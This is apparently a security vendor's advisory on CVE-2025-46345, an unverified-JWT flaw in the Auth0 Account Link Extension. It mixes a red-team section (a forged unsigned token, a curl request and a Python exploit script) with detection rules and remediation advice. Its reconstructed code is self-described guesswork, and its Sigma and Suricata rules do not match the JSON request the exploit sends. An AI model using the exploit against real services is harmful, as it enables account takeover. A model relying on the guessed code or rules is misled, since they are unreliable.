CVE-2025-46345

Executive Summary

CVE-2025-46345 is a critical security vulnerability in the Auth0 Account Link Extension, affecting versions 2.3.4 through 2.6.6. The extension fails to verify the signature of JSON Web Tokens (JWTs) during the account linking process. This allows an attacker to forge a JWT and potentially access or modify user account information without proper authorization. The vulnerability has been patched in versions 2.6.7, 2.7.0, and 3.0.0. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it is likely a high-severity issue.

Supply Chain & Package Security

This vulnerability affects the Auth0 Account Link Extension, which is a Node.js package distributed via npm. Organizations using this extension in their authentication workflows are at risk. The package is used to link multiple user accounts (e.g., social login, email/password) under a single user profile. A forged JWT could allow an attacker to link their account to a victim's account, gaining unauthorized access to the victim's resources.

CVSS Breakdown & Threat Level

While the NVD CVSS score is 0.0, a reasonable assessment based on the vulnerability description is:

• Attack Vector (AV): Network (N) - The attack can be performed remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed to send a forged JWT.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Access to user information is possible.
• Integrity (I): High (H) - Account linking can be manipulated.
• Availability (A): High (H) - Account takeover could lead to denial of service for the legitimate user.

Threat Level: Critical. The lack of signature verification allows for trivial forgery of JWTs, leading to potential account takeover.

Deep Dive & Mechanics

The Auth0 Account Link Extension is designed to facilitate linking multiple authentication methods (e.g., Google, Facebook, email/password) to a single user account. The extension uses JWTs to carry the linking request. The vulnerability lies in the fact that the extension does not verify the JWT's signature before processing the request.

How it works:

1. A user initiates an account link request.
2. The extension generates a JWT containing the user's identity and the target account to link.
3. This JWT is sent to the server for processing.
4. Due to the missing signature verification, an attacker can craft a JWT with arbitrary claims (e.g., linking their account to a victim's account).
5. The server processes the forged JWT, linking the attacker's account to the victim's account.
6. The attacker can then log in using their own credentials and gain access to the victim's resources.

The vulnerability is present in the JWT validation logic. The code likely checks the JWT's structure and claims but omits the cryptographic signature verification step.

Vulnerable vs. Patched Code

Vulnerable Code (versions 2.3.4 - 2.6.6):

// Vulnerable: No signature verification
function processLinkRequest(token) {
    const decoded = jwt.decode(token); // Decodes without verification
    // Process the link request based on decoded claims
    linkAccounts(decoded.userId, decoded.targetUserId);
}

Patched Code (versions 2.6.7, 2.7.0, 3.0.0):

// Patched: Signature verification added
function processLinkRequest(token) {
    const secret = getSecret(); // Retrieve the signing secret
    const decoded = jwt.verify(token, secret); // Verifies signature
    // Process the link request only if verification succeeds
    linkAccounts(decoded.userId, decoded.targetUserId);
}

The key difference is the use of jwt.verify() instead of jwt.decode(). The verify function checks the signature using the secret key, ensuring the token was issued by the legitimate server.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Auth0 Account Link Extension endpoint (e.g., /link-account).
• Knowledge of the JWT structure used by the extension (claims like userId, targetUserId).

Exploitation Steps:

1. Craft a Forged JWT:

   • Use a tool like jwt.io or a Python script to create a JWT with arbitrary claims.
   • Example claims:

     {
       "userId": "attacker_user_id",
       "targetUserId": "victim_user_id",
       "iat": 1516239022
     }
     

   • Since no signature is required, set the signature to an empty string or any value.
   • Example JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhdHRhY2tlcl91c2VyX2lkIiwidGFyZ2V0VXNlcklkIjoidmljdGltX3VzZXJfaWQiLCJpYXQiOjE1MTYyMzkwMjJ9.

2. Send the Forged JWT:

   • Send a POST request to the account link endpoint with the forged JWT.
   • Example using curl:

     curl -X POST https://target.com/link-account \
       -H "Content-Type: application/json" \
       -d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhdHRhY2tlcl91c2VyX2lkIiwidGFyZ2V0VXNlcklkIjoidmljdGltX3VzZXJfaWQiLCJpYXQiOjE1MTYyMzkwMjJ9."}'
     

3. Verify Account Link:

   • Log in with the attacker's credentials.
   • Access the victim's resources.

Python Exploit Script:

import requests
import json

target_url = "https://target.com/link-account"
attacker_user_id = "attacker123"
victim_user_id = "victim456"

# Forge JWT (no signature)
header = {"alg": "HS256", "typ": "JWT"}
payload = {"userId": attacker_user_id, "targetUserId": victim_user_id, "iat": 1516239022}

import base64
def base64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
forged_jwt = f"{header_b64}.{payload_b64}."

response = requests.post(target_url, json={"token": forged_jwt})
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Blue Team

Detection:

• Monitor for unusual account linking requests, especially those with JWTs that have no signature or invalid signatures.
• Look for multiple account linking attempts from the same IP address.
• Alert on account linking events that occur outside of normal user behavior.

Mitigation:

• Immediately upgrade to a patched version (2.6.7, 2.7.0, or 3.0.0).
• If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block requests with malformed or unsigned JWTs.
• Review account linking logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /link-account or similar endpoints with JWTs that have no signature (e.g., JWT ending with a single dot).
  • Unusual patterns in JWT claims (e.g., userId and targetUserId from different accounts).

• Log IOCs:

  • Account linking events where the linking user and target user are not related.
  • Multiple failed account linking attempts from the same IP.

• File IOCs:

  • Log entries containing jwt.decode (vulnerable code) instead of jwt.verify.

Detection Engineering

YARA Rule

rule Detect_Forged_JWT_Account_Link {
    meta:
        description = "Detects forged JWTs in Auth0 Account Link Extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46345"
    strings:
        $jwt_pattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.?/
        $no_signature = /\.$/  // JWT ending with a dot (no signature)
    condition:
        $jwt_pattern and $no_signature
}

Sigma Rule

title: Auth0 Account Link Extension - Forged JWT Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects requests with forged JWTs targeting the Auth0 Account Link Extension
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/link-account'
        cs-uri-query|contains: 'token='
    condition: selection
falsepositives:
    - Legitimate account linking requests
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46345 - Auth0 Account Link Extension Forged JWT"; flow:to_server; content:"POST"; http_method; content:"/link-account"; http_uri; content:"token="; http_client_body; pcre:"/[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the Extension: Update to version 2.6.7, 2.7.0, or 3.0.0 immediately.
2. Verify JWT Signatures: Ensure that all JWT processing includes signature verification using a secure secret key.
3. Audit Logs: Review account linking logs for any suspicious activity.

Long-Term Measures:

1. Implement Input Validation: Validate all JWT claims against expected values.
2. Use Strong Secrets: Ensure the JWT signing secret is strong and rotated regularly.
3. Monitor for Anomalies: Set up alerts for unusual account linking patterns.
4. Conduct Security Training: Educate developers on the importance of JWT signature verification.

Workaround (if patching is delayed):

• Disable the account linking feature temporarily.
• Implement a WAF rule to block requests with unsigned JWTs.

Valters IT